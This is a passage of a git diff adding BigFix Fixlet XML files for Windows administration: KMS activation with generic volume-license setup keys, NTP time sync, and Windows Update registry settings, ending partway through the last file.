+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Windows Activation - Set to KMS Activation - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet configures Windows to use KMS activation using a pre-configured set of generic KMS keys. For this fixlet to work you must have&nbsp;a KMS server defined in DNS or have already defined a KMS server on your devices.</P>
+<P>Kudos, Compliments, and Thanks to @jgstew for providing the source content for this fixlet: <A href="https://bigfix.me/fixlet/details/21368">https://bigfix.me/fixlet/details/21368</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[exists elements of intersection of (set of tuple string items 0 of ("Microsoft Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG";"Microsoft Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY";"Microsoft Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Microsoft Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX";"Microsoft Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9";"Microsoft Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43";"Microsoft Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Microsoft Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2";"Microsoft Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ";"Microsoft Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9";"Microsoft Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ";"Microsoft Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ";"Microsoft Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Microsoft Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9";"Microsoft Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY";"Microsoft Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7";"Microsoft Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Microsoft Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX";"Microsoft Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9";"Microsoft Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Microsoft Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4";"Microsoft Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ";"Microsoft Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7";"Microsoft Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Microsoft Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4";"Microsoft Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY";"Microsoft Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ";"Microsoft Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Microsoft Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4";"Microsoft Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ";"Microsoft Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G";"Microsoft Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Microsoft Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4";"Microsoft Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG";"Microsoft Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX";"Microsoft Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH";"Microsoft Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ";"Microsoft Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Microsoft Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4";"Microsoft Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX";"Microsoft Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC";"Microsoft Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y";"Microsoft Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648";"Microsoft Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Microsoft Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8";"Microsoft Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT";"Microsoft Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV";"Microsoft Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Microsoft Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D";"Microsoft Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2";"Microsoft Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ";"Microsoft Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Microsoft Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG";"Microsoft Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP";"Microsoft Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3";"Microsoft Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC";"Microsoft Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK"); set of (string value of selects "caption from win32_operatingsystem" of wmi))]]></Relevance>
+    <Relevance>/* is NOT a KMS Server */ not boolean value of selects &quot;IsKeyManagementServiceMachine from SoftwareLicensingProduct WHERE (LicenseStatus = 1 and (Name LIKE &apos;Windows(R), Server%25&apos; or Name LIKE &apos;Windows Server(R), Server%25&apos;))&quot; of wmi | true</Relevance>
+    <Relevance><![CDATA[not exists elements of intersection of (set of following texts of lasts "-" of tuple string items 1 of ("Microsoft Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG";"Microsoft Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY";"Microsoft Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Microsoft Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX";"Microsoft Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9";"Microsoft Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43";"Microsoft Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Microsoft Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2";"Microsoft Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ";"Microsoft Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9";"Microsoft Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ";"Microsoft Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ";"Microsoft Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Microsoft Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9";"Microsoft Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY";"Microsoft Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7";"Microsoft Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Microsoft Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX";"Microsoft Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9";"Microsoft Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Microsoft Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4";"Microsoft Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ";"Microsoft Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7";"Microsoft Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Microsoft Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4";"Microsoft Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY";"Microsoft Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ";"Microsoft Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Microsoft Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4";"Microsoft Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ";"Microsoft Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G";"Microsoft Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Microsoft Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4";"Microsoft Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG";"Microsoft Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX";"Microsoft Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH";"Microsoft Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ";"Microsoft Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Microsoft Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4";"Microsoft Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX";"Microsoft Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC";"Microsoft Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y";"Microsoft Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648";"Microsoft Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Microsoft Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8";"Microsoft Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT";"Microsoft Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV";"Microsoft Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Microsoft Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D";"Microsoft Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2";"Microsoft Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ";"Microsoft Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Microsoft Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG";"Microsoft Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP";"Microsoft Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3";"Microsoft Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC";"Microsoft Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK"); set of (string values of selects "PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL" of wmi))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-09</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "KMSkey" = "{ ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") }"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    // NOTE: this will set the client's clock to match it's parent relay, so hopefully it's clock is correct!
+    set clock
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" -ipk { parameter "KMSkey" }
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes
new file mode 100644
index 000000000..a62a701a1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration - Windows - Turn on Synchronize with NTP server
+  ID       : 2587
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-29T14:57:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration - Windows - Turn on Synchronize with NTP server</Title>
+    <Description>This will turn on NTP time sync in windows if and only if it is currently off.</Description>
+    <Relevance>&quot;NoSync&quot; = value &quot;Type&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
+    <Relevance>exists value &quot;Type&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2011-09-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Aug 2013 21:57:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters]&quot; &quot;Type&quot;=&quot;NTP&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes
new file mode 100644
index 000000000..8289a233a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configuration - Windows Update - Allow a Standard User to use Windows Update
+  ID       : 2583
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-29T13:29:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configuration - Windows Update - Allow a Standard User to use Windows Update</Title>
+    <Description><![CDATA[Allow a Standard User to use Windows Update.<VALUE> ]]></Description>
+    <Relevance>exists value &quot;ElevateNonAdmins&quot; whose (1 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update&quot; of native registry</Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows Vista or Higher */ version of operating system >= "6.0"]]></Relevance>
+    <Category>Configuration</Category>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Aug 2013 20:28:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]&quot; &quot;ElevateNonAdmins&quot;=dword:00000001
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes
new file mode 100644
index 000000000..18dc8c6ef
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes	
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO
+  ID       : 6047
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:36:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later TODO</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.2"]]></Relevance>
+    <Relevance>not exists values &quot;RepairContentServerSource&quot; whose(it as string = &quot;2&quot;) of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing&quot; of (x64 registries;x32 registries)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2015-01-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 13 Jan 2015 20:26:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://msdn.microsoft.com/en-us/library/hh506443%28v=vs.110%29.aspx
+//  http://support.microsoft.com/kb/900935
+//  http://technet.microsoft.com/en-us/library/hh825020.aspx
+//  http://community.spiceworks.com/how_to/show/30581-install-net-3-5-on-windows-8
+//  http://blogs.technet.com/b/yungchou/archive/2013/12/19/windows-server-2012-r2-installation-options-and-features-on-demand-part-2-of-5.aspx
+//  https://www.vanstechelman.eu/windows-group-policy-encyclopedia/fbb6a5344049e798501f7b5a273784e6/specify-settings-for-optional-component-installation-and-component
+//  http://windowsitpro.com/article/windowsserver2012/set-central-wim-file-145040
+//  http://windowsitpro.com/article/windowsserver2012/add-net-framework-35-vhd-145039
+//  http://www.howtogeek.com/116184/how-to-see-which-group-policies-are-applied-to-your-pc-and-user-account/
+//  http://technet.microsoft.com/en-us/library/dn482065.aspx
+//  http://msdn.microsoft.com/en-us/library/hh506443(v=vs.110).aspx
+//  http://msdn.microsoft.com/en-us/library/windows/desktop/hh848079(v=vs.85).aspx
+//  http://blogs.technet.com/b/joscon/archive/2013/03/29/features-on-demand-part-2.aspx
+
+
+//   netsh winhttp set proxy proxyservername:portnumber
+
+
+// Set reg to allow WU to be contacted directly
+regset   &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes
new file mode 100644
index 000000000..231181644
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes	
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later
+  ID       : 6067
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T13:04:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later</Title>
+    <Description><![CDATA[<P>Needs tested.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.2"]]></Relevance>
+    <Relevance>not exists values &quot;RepairContentServerSource&quot; whose(it as string = &quot;2&quot;) of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing&quot; of (x64 registries;x32 registries)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2015-01-13</SourceReleaseDate>
+    <MIMEField>
